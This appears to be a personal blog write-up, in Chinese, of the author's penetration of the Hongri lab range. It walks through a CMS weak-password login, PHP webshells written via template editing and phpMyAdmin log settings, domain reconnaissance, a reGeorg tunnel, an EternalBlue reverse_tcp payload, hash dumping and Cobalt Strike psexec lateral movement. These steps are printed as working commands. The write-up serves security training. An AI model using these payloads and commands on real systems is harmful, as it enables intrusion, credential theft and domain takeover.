红日靶场(一)——个人笔记

发布于:2025-03-09 ⋅ 阅读:(13) ⋅ 点赞:(0)

说明:

环境搭建

修改VMnet1、VMnet2网卡的地址
将VMnet1作为内网,VMnet8作为外网,其中需要注意的是,VMnet1的子网地址必须是192.168.52.0,否则后面win7的web服务无法开启

image.png
cmd查看网卡确保已经生效
image.png

跳板机 Win 7(VMnet1 - 72.131、VMnet2 - 52.143)

需要模拟内网和外网两个网段,Win7虚拟机相当于网关服务器,所以需要两张网卡
image.png

首次登录后,需要再重启电脑,不然phpstudy可能无法启动。
跳板机 Win 7
内网ip: 192.168.52.143
外网ip:192.168.132.145
image.png
同时记得把虚拟机的防火墙关闭,否则我们的攻击机ping不通我们的win7虚拟机
ping一下主机,能ping通说明外网设置成功
ping一下DC域控,能ping通说明内网设置也成功

域内主机 Win2K3(VMnet2 - 52.141)

配置vmnet1
ip:192.168.52.141
image.png

域控 Server 2008 R2(VMnet2 - 52.138)

配置vmnet1
ip:192.168.52.138
image.png

攻击机kali

ip:192.168.132.143

快照

拍摄所有机器初始化快照

拓扑图

image.png

外网探测

访问公司外网服务端:http://192.168.132.145/yxcms/
在公告处泄露后台地址
image.png
并且已知初始默认密码:admin/123456
尝试弱口令
image.png
成功进入公司后台
image.png

思考:
公司内部只有这一台机器能访问外网,也就是通过这台机器作为跳板机,实现内网穿透

先在公司后台随便点点

方法一:通过php传马连接

发现公司前台模板可以直接编辑php文件
可以尝试传马连接
image.png
image.png

思考:
一句话木马写上去,现在的关键是找到这个文件的目录,可以扫一下,然后看看有没有目录遍历漏洞

拿到robots.txt目录

image.png

#
# robots.txt for YXCMS
#
User-agent: * 
Disallow: /data
Disallow: /protected

/protected发现目录遍历漏洞
image.png

找到文件目录

http://192.168.132.145/yxcms//protected/apps/default/view/default/acomment.php

image.png
连接成功,拿到跳板机后台权限
image.png

方法二:phpmyadmin后台getshell

这里可以发现web服务器上面有phpmyadmin,那么我们可以登陆进去,这里是靶机,自然就是弱密码了(root/root):

phpmyadmin后台getshell的常用手段有以下几种方式:

> 1、select into outfile直接写入
> 
> 2、开启全局日志getshell
> 
> 3、使用慢查询日志getsehll
> 
> 4、使用错误日志getshell
> 
> 5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
show variables like '%secure%';

发现没有写入权限,无法用select into outfile方法写入shell。
image.png

第二种方法,利用全局变量general_log去getshell

show variables like '%general%';

image.png
我们将全局日志开启并将保存日志的目录设为web目录

 set global general_log=on;# 开启日志
 
 set global general_log_file='C:/phpStudy/WWW/yxcms/hack.php';# 设置日志位置为网站目录

设置成功
image.png
此时执行如下语句即可写入webshell到hack.php中

select '<?php eval($_POST[whoami]); ?>'

用蚁剑连接即可

方法三:使用慢查询日志getsehll

show variables like '%slow%'set global slow_query_log=on;set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'select '<?php @eval($_POST[cmd]);?>' or sleep(10);

方法四:使用错误日志getshell

打入内网

域内信息收集

可以发现我们拿到的shell是管理员
image.png
信息收集:

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器主机名(可能有多台)

首先判断是否存在域:ipconfig /all
可以发现存在域:god.org
image.png

接着使用net view /domain查看有几个域

可以发现只有一个域GOD
image.png

接下来我们查看域控主机名,我们使用net group "domain controllers" /domain进行查询即可,我们可以查询到域控为owa
image.png

接着查询所有域内主机,如下所示net view
image.png

接着查询域内IP,使用arp -a进行查询
image.png

为了确定哪个是域控主机IP,我们尝试去ping一下域名ping owa.god.org
域控ip为192.168.52.138
image.png

收集到的信息:

域名为 god
域中有三台主机:
stu1.god.org   
root-tvi862ubeh.god.org   192.168.52.141
owa.god.org   192.168.52.138 域控主机

内网网段为192.168.52.1/24

内网穿透

reGeorg+Proxchains实现内网穿透

将tunnel.nosocket.php上传到跳板机上访问这个文件,显示必须是Georg says, 'All seems fine'才表明是可用的!
image.png
image.png

python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.132.149/yxcms/protected/apps/default/view/default/tunnel.nosocket.php

ping通内网,实现内网穿透
image.png
image.png

隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访向目标内网中的资源。

git clone https://github.com/rofl0r/proxychains-ng
vi /etc/proxychains.conf
socks5  192.168.1.34 9999
proxychains nmap -Pn -sT 192.168.52.138

image.png

nmap -sV -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379 192.168.52.138
image.png

python web结合chisel实现内网穿透

横向渗透

可以发现开放445端口

尝试永恒之蓝

加载扫描模块

use auxiliary/scanner/smb/smb_ms17_010   #利用漏洞
set rhosts 192.168.52.138   #配置rhosts
exploit  #扫描漏洞

使用永恒之蓝攻击模块:exploit/windows/smb/ms17_010_eternalblue

use exploit/windows/smb/ms17_010_eternalblue  #利用漏洞
set payload      #设置攻击载荷
set rhosts 192.168.52.138   #配置rhosts
exploit      #开始攻击

漏洞利用失败
image.png

拿下域控

哈希传递可以拿下域控(此方法适用于内网主机本地管理员密码相同)

哈希传递攻击:
在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机。
攻击流程:
1. 获得一台域控主机的权限,Dump内存获得该主机获得该主机的用户密码Hash值;
2. 通过哈希传递攻击尝试登录其他主机
3. 继续收集哈希并尝试远程登录,知道获得域管理员Hash,登录域控,控制整个域

使用hashdump获取哈希值

msf之hash攻击

不过这里我没有拿msf维持权限,无法使用这个方法

msfconsole                                # 启动metasploit
use exploit/windows/smb/ms17_010_eternalblue   # 用这个模块
set payload windows/x64/meterpreter/reverse_tcp   # 用这个payload
set RHOST 192.168.52.138                            # 靶机IP
set LHOST 192.168.132.143                            # 攻击机IP 
run                                                  # 开始攻击

Quarks PwDump抓取密码

直接运行Quarks PwDump.exe
-dhl:导出本地哈希值
-dhdc:导出内存中的域控哈希值
-dhd:导出域控哈希值,必须指定NTDS文件
-db:导出Bitlocker信息,必须指定NTDS文件
-nt:导出NTDS文件
-hist:导出历史信息,可选项
-t:可选导出类型,默认导出JOhn类型
-o:导出文件到本地
QuarksPwDump.exe --dump-hash-local --output 1.txt

image.png

拿到hash值
image.png

liukaifeng01:1000:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

至此为止,后面我就不太能理解。使用CS上线

CS上线

image.png
监听:
image.png

上线木马,传给win7机器
image.png

在控制机中运行木马文件
image.png
成功上线:
image.png
尝试查看明文密码:logonpasswords
image.png

扫描域控

fscan_1.7.0.exe -h 192.168.52.138 -np -nopoc -nobr -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379

image.png
可以发现445端口开启

SMB Beacon:

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线

使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。

image.png

使用条件:

- 具有 Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

简略原理:

假设有三个主机 a b c,我们的C2是a且我们已经有了b的权限,b可以访问c,c也可以访问b但不能访问a
这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)

image.png

方案一:

得到了域控的账号密码:hongri@2019。这时候我们使用smb beacon进行横移
(这里没太理解)

在beacon里输入命令
shell net use \\192.168.52.138\admin$ /user:"administrator" "hongri@2019"#建立连接
ls \\192.168.52.138\c$#看是否连接成功
jump psexec64 192.168.52.138 cs# 建立smb beacon连接,最后的cs是我的smb listener 的名字。
net use \\192.168.52.138\admin$ /delete#删除链接

image.png

方案二:
扫描一下内网
image.png

新建一个 Beacon SMB 监听器
image.png
域管右键选择psexec
image.png

上线域控:
image.png

至此,渗透结束!

这是我第一次完整的打渗透靶场,参考很多大佬的博客。
https://blog.csdn.net/jnszstmei/article/details/143832390
https://blog.csdn.net/weixin_46022776/article/details/139295589
https://mp.weixin.qq.com/s/A3MIuT7RXTIIPNLjF42OTg